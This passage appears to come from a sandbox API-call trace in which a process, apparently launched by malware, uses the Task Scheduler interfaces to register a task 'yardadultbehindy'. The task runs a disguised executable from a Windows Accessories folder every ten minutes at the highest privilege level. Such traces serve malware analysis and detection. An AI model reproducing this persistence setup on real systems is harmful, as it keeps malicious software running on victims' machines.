(lpString="Fourth") returned 6 [0162.654] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.655] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0162.655] lstrlenW (lpString="Last") returned 4 [0162.655] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c0c0, cchData=128 | out: lpLCData="0") returned 2 [0162.655] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.655] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0162.655] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0162.655] GetProcessHeap () returned 0x170000 [0162.655] GetProcessHeap () returned 0x170000 [0162.655] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d5f0) returned 1 [0162.655] GetProcessHeap () returned 0x170000 [0162.655] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d5f0) returned 0xc [0162.655] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d5f0 | out: hHeap=0x170000) returned 1 [0162.655] GetProcessHeap () returned 0x170000 [0162.655] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d5f0 [0162.655] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c0e0, cchData=128 | out: lpLCData="0") returned 2 [0162.655] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.655] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0162.655] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0162.655] GetProcessHeap () returned 0x170000 [0162.655] GetProcessHeap () returned 0x170000 [0162.655] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d610) returned 1 [0162.655] GetProcessHeap () returned 0x170000 [0162.655] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d610) returned 0xe [0162.656] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d610 | out: hHeap=0x170000) returned 1 [0162.656] GetProcessHeap () returned 0x170000 [0162.656] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d610 [0162.656] GetLocalTime (in: lpSystemTime=0x13c310 | out: lpSystemTime=0x13c310*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x15, wMilliseconds=0x375)) [0162.656] lstrlenW (lpString="") returned 0 [0162.656] GetLocalTime (in: lpSystemTime=0x13cbc8 | out: lpSystemTime=0x13cbc8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x15, wMilliseconds=0x375)) [0162.656] lstrlenW (lpString="") returned 0 [0162.656] lstrlenW (lpString="") returned 0 [0162.656] lstrlenW (lpString="") returned 0 [0162.656] lstrlenW (lpString="") returned 0 [0162.656] lstrlenW (lpString="10") returned 2 [0162.656] _wtol (_String="10") returned 10 [0162.656] lstrlenW (lpString="") returned 0 [0162.656] lstrlenW (lpString="") returned 0 [0162.656] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0162.678] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0162.699] CoCreateInstance (in: rclsid=0xff451ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff451ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x13c990 | out: ppv=0x13c990*=0x327b70) returned 0x0 [0162.711] TaskScheduler:ITaskService:Connect (This=0x327b70, serverName=0x13ca70*(varType=0x8, wReserved1=0x13, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x13ca30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x13ca50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13ca10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0162.719] TaskScheduler:IUnknown:AddRef (This=0x327b70) returned 0x2 [0162.719] TaskScheduler:ITaskService:GetFolder (in: This=0x327b70, Path=0x0, ppFolder=0x13cb28 | out: ppFolder=0x13cb28*=0x327da0) returned 0x0 [0162.724] TaskScheduler:ITaskService:NewTask (in: This=0x327b70, flags=0x0, ppDefinition=0x13cb20 | out: ppDefinition=0x13cb20*=0x327df0) returned 0x0 [0162.725] ITaskDefinition:get_Actions (in: This=0x327df0, ppActions=0x13caa0 | out: ppActions=0x13caa0*=0x327eb0) returned 0x0 [0162.725] IActionCollection:Create (in: This=0x327eb0, Type=0, ppAction=0x13cac0 | out: ppAction=0x13cac0*=0x326740) returned 0x0 [0162.725] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.725] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.725] lstrlenW (lpString=" ") returned 1 [0162.725] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0162.725] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0162.725] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0162.726] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x54) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0162.726] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0162.727] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0162.728] IUnknown:Release (This=0x326740) returned 0x1 [0162.728] IUnknown:Release (This=0x327eb0) returned 0x1 [0162.728] ITaskDefinition:get_Triggers (in: This=0x327df0, ppTriggers=0x13c620 | out: ppTriggers=0x13c620*=0x327f30) returned 0x0 [0162.728] ITriggerCollection:Create (in: This=0x327f30, Type=1, ppTrigger=0x13c618 | out: ppTrigger=0x13c618*=0x3267b0) returned 0x0 [0162.728] lstrlenW (lpString="10") returned 2 [0162.728] _vsnwprintf (in: _Buffer=0x13c5a0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x13c598 | out: _Buffer="PT10M") returned 5 [0162.728] ITrigger:get_Repetition (in: This=0x3267b0, ppRepeat=0x13c610 | out: ppRepeat=0x13c610*=0x326840) returned 0x0 [0162.729] IRepetitionPattern:put_Interval (This=0x326840, Interval="PT10M") returned 0x0 [0162.729] IUnknown:Release (This=0x326840) returned 0x1 [0162.729] _vsnwprintf (in: _Buffer=0x13c560, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x13c538 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0162.729] ITrigger:put_StartBoundary (This=0x3267b0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0162.729] lstrlenW (lpString="") returned 0 [0162.729] lstrlenW (lpString="") returned 0 [0162.729] lstrlenW (lpString="") returned 0 [0162.729] lstrlenW (lpString="") returned 0 [0162.729] IUnknown:Release (This=0x3267b0) returned 0x1 [0162.729] IUnknown:Release (This=0x327f30) returned 0x1 [0162.729] ITaskDefinition:get_Settings (in: This=0x327df0, ppSettings=0x13cac0 | out: ppSettings=0x13cac0*=0x326520) returned 0x0 [0162.730] lstrlenW (lpString="") returned 0 [0162.730] IUnknown:Release (This=0x326520) returned 0x1 [0162.730] GetLocalTime (in: lpSystemTime=0x13c978 | out: lpSystemTime=0x13c978*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x15, wMilliseconds=0x3b3)) [0162.730] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0162.730] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0162.730] GetUserNameW (in: lpBuffer=0x13c9a0, pcbBuffer=0x13c988 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x13c988) returned 1 [0162.768] ITaskDefinition:get_RegistrationInfo (in: This=0x327df0, ppRegistrationInfo=0x13c970 | out: ppRegistrationInfo=0x13c970*=0x326460) returned 0x0 [0162.769] IRegistrationInfo:put_Author (This=0x326460, Author="") returned 0x0 [0162.769] _vsnwprintf (in: _Buffer=0x13c9a0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x13c938 | out: _Buffer="2022-08-06T02:19:21") returned 19 [0162.769] IRegistrationInfo:put_Date (This=0x326460, Date="") returned 0x0 [0162.769] IUnknown:Release (This=0x326460) returned 0x1 [0162.769] malloc (_Size=0x18) returned 0x327d30 [0162.769] free (_Block=0x327d30) [0162.769] lstrlenW (lpString="") returned 0 [0162.769] ITaskDefinition:get_Principal (in: This=0x327df0, ppPrincipal=0x13cb90 | out: ppPrincipal=0x13cb90*=0x326690) returned 0x0 [0162.769] IPrincipal:put_RunLevel (This=0x326690, RunLevel=1) returned 0x0 [0162.769] IUnknown:Release (This=0x326690) returned 0x1 [0162.769] malloc (_Size=0x18) returned 0x327d30 [0162.770] ITaskFolder:RegisterTaskDefinition (in: This=0x327da0, Path="yardadultbehindy", pDefinition=0x327df0, flags=6, UserId=0x13cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13cc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13eb20, varVal2=0xfe), LogonType=3, sddl=0x13cc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x13cb30 | out: ppTask=0x13cb30*=0x326a10) returned 0x0 [0162.922] free (_Block=0x327d30) [0162.922] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.922] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0162.923] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0162.923] GetProcessHeap () returned 0x170000 [0162.923] GetProcessHeap () returned 0x170000 [0162.923] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d630) returned 1 [0162.923] GetProcessHeap () returned 0x170000 [0162.923] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d630) returned 0xc [0162.923] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d630 | out: hHeap=0x170000) returned 1 [0162.923] GetProcessHeap () returned 0x170000 [0162.923] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x82) returned 0x1a9d70 [0162.923] _vsnwprintf (in: _Buffer=0x13d270, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x13cad8 | out: _Buffer="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n") returned 78 [0162.923] _fileno (_File=0x7fefed02ab0) returned -2 [0162.923] _errno () returned 0x324bb0 [0162.923] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0162.923] SetLastError (dwErrCode=0x6) [0162.923] lstrlenW (lpString="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n") returned 78 [0162.923] GetConsoleOutputCP () returned 0x0 [0162.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0162.924] GetConsoleOutputCP () returned 0x0 [0162.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0xff491880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 78 [0162.924] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 78 [0162.924] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0162.924] IUnknown:Release (This=0x326a10) returned 0x0 [0162.924] TaskScheduler:IUnknown:Release (This=0x327df0) returned 0x0 [0162.924] TaskScheduler:IUnknown:Release (This=0x327da0) returned 0x0 [0162.924] TaskScheduler:IUnknown:Release (This=0x327b70) returned 0x1 [0162.924] lstrlenW (lpString="") returned 0 [0162.924] lstrlenW (lpString="10") returned 2 [0162.924] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0162.924] GetProcessHeap () returned 0x170000 [0162.924] GetProcessHeap () returned 0x170000 [0162.924] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c460) returned 1 [0162.924] GetProcessHeap () returned 0x170000 [0162.924] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c460) returned 0x1fc [0162.925] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c460 | out: hHeap=0x170000) returned 1 [0162.925] GetProcessHeap () returned 0x170000 [0162.925] GetProcessHeap () returned 0x170000 [0162.925] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c230) returned 1 [0162.925] GetProcessHeap () returned 0x170000 [0162.925] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c230) returned 0x6 [0162.925] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c230 | out: hHeap=0x170000) returned 1 [0162.925] GetProcessHeap () returned 0x170000 [0162.925] GetProcessHeap () returned 0x170000 [0162.925] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d550) returned 1 [0162.925] GetProcessHeap () returned 0x170000 [0162.925] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d550) returned 0x16 [0162.925] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d550 | out: hHeap=0x170000) returned 1 [0162.925] GetProcessHeap () returned 0x170000 [0162.926] GetProcessHeap () returned 0x170000 [0162.926] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d530) returned 1 [0162.926] GetProcessHeap () returned 0x170000 [0162.926] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d530) returned 0x18 [0162.926] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d530 | out: hHeap=0x170000) returned 1 [0162.926] GetProcessHeap () returned 0x170000 [0162.926] GetProcessHeap () returned 0x170000 [0162.926] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce50) returned 1 [0162.926] GetProcessHeap () returned 0x170000 [0162.926] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce50) returned 0x20 [0162.926] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce50 | out: hHeap=0x170000) returned 1 [0162.926] GetProcessHeap () returned 0x170000 [0162.926] GetProcessHeap () returned 0x170000 [0162.926] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c060) returned 1 [0162.926] GetProcessHeap () returned 0x170000 [0162.926] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c060) returned 0xa0 [0162.927] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c060 | out: hHeap=0x170000) returned 1 [0162.927] GetProcessHeap () returned 0x170000 [0162.927] GetProcessHeap () returned 0x170000 [0162.927] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bae0) returned 1 [0162.927] GetProcessHeap () returned 0x170000 [0162.927] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bae0) returned 0x18 [0162.927] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bae0 | out: hHeap=0x170000) returned 1 [0162.927] GetProcessHeap () returned 0x170000 [0162.927] GetProcessHeap () returned 0x170000 [0162.927] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cb80) returned 1 [0162.927] GetProcessHeap () returned 0x170000 [0162.927] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cb80) returned 0x20 [0162.928] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cb80 | out: hHeap=0x170000) returned 1 [0162.928] GetProcessHeap () returned 0x170000 [0162.928] GetProcessHeap () returned 0x170000 [0162.928] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2c0) returned 1 [0162.928] GetProcessHeap () returned 0x170000 [0162.928] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c2c0) returned 0x88 [0162.928] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2c0 | out: hHeap=0x170000) returned 1 [0162.928] GetProcessHeap () returned 0x170000 [0162.928] GetProcessHeap () returned 0x170000 [0162.928] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d570) returned 1 [0162.928] GetProcessHeap () returned 0x170000 [0162.928] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d570) returned 0x18 [0162.928] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d570 | out: hHeap=0x170000) returned 1 [0162.929] GetProcessHeap () returned 0x170000 [0162.929] GetProcessHeap () returned 0x170000 [0162.929] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cb50) returned 1 [0162.929] GetProcessHeap () returned 0x170000 [0162.929] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cb50) returned 0x20 [0162.929] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x170000) returned 1 [0162.929] GetProcessHeap () returned 0x170000 [0162.929] GetProcessHeap () returned 0x170000 [0162.929] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3c0) returned 1 [0162.929] GetProcessHeap () returned 0x170000 [0162.929] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c3c0) returned 0x8a [0162.930] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3c0 | out: hHeap=0x170000) returned 1 [0162.930] GetProcessHeap () returned 0x170000 [0162.930] GetProcessHeap () returned 0x170000 [0162.930] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3a0) returned 1 [0162.930] GetProcessHeap () returned 0x170000 [0162.930] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c3a0) returned 0x18 [0162.930] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3a0 | out: hHeap=0x170000) returned 1 [0162.930] GetProcessHeap () returned 0x170000 [0162.930] GetProcessHeap () returned 0x170000 [0162.930] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cb20) returned 1 [0162.930] GetProcessHeap () returned 0x170000 [0162.930] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cb20) returned 0x20 [0162.930] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cb20 | out: hHeap=0x170000) returned 1 [0162.930] GetProcessHeap () returned 0x170000 [0162.930] GetProcessHeap () returned 0x170000 [0162.930] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c380) returned 1 [0162.930] GetProcessHeap () returned 0x170000 [0162.931] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c380) returned 0xe [0162.931] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c380 | out: hHeap=0x170000) returned 1 [0162.931] GetProcessHeap () returned 0x170000 [0162.931] GetProcessHeap () returned 0x170000 [0162.931] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c360) returned 1 [0162.931] GetProcessHeap () returned 0x170000 [0162.931] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c360) returned 0x18 [0162.931] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c360 | out: hHeap=0x170000) returned 1 [0162.931] GetProcessHeap () returned 0x170000 [0162.931] GetProcessHeap () returned 0x170000 [0162.931] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185dc0) returned 1 [0162.931] GetProcessHeap () returned 0x170000 [0162.931] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185dc0) returned 0x20 [0162.931] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185dc0 | out: hHeap=0x170000) returned 1 [0162.931] GetProcessHeap () returned 0x170000 [0162.931] GetProcessHeap () returned 0x170000 [0162.931] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc60) returned 1 [0162.931] GetProcessHeap () returned 0x170000 [0162.932] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bc60) returned 0x208 [0162.932] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bc60 | out: hHeap=0x170000) returned 1 [0162.932] GetProcessHeap () returned 0x170000 [0162.932] GetProcessHeap () returned 0x170000 [0162.932] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bac0) returned 1 [0162.932] GetProcessHeap () returned 0x170000 [0162.932] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bac0) returned 0x18 [0162.932] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bac0 | out: hHeap=0x170000) returned 1 [0162.932] GetProcessHeap () returned 0x170000 [0162.932] GetProcessHeap () returned 0x170000 [0162.932] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185cd0) returned 1 [0162.932] GetProcessHeap () returned 0x170000 [0162.932] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185cd0) returned 0x20 [0162.950] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185cd0 | out: hHeap=0x170000) returned 1 [0162.950] GetProcessHeap () returned 0x170000 [0162.950] GetProcessHeap () returned 0x170000 [0162.950] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d2f0) returned 1 [0162.950] GetProcessHeap () returned 0x170000 [0162.950] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d2f0) returned 0x200 [0162.950] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d2f0 | out: hHeap=0x170000) returned 1 [0162.950] GetProcessHeap () returned 0x170000 [0162.950] GetProcessHeap () returned 0x170000 [0162.950] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb00) returned 1 [0162.950] GetProcessHeap () returned 0x170000 [0162.950] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bb00) returned 0x18 [0162.950] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb00 | out: hHeap=0x170000) returned 1 [0162.950] GetProcessHeap () returned 0x170000 [0162.950] GetProcessHeap () returned 0x170000 [0162.951] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c40) returned 1 [0162.951] GetProcessHeap () returned 0x170000 [0162.951] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c40) returned 0x20 [0162.951] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c40 | out: hHeap=0x170000) returned 1 [0162.952] GetProcessHeap () returned 0x170000 [0162.952] GetProcessHeap () returned 0x170000 [0162.952] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c270) returned 1 [0162.952] GetProcessHeap () returned 0x170000 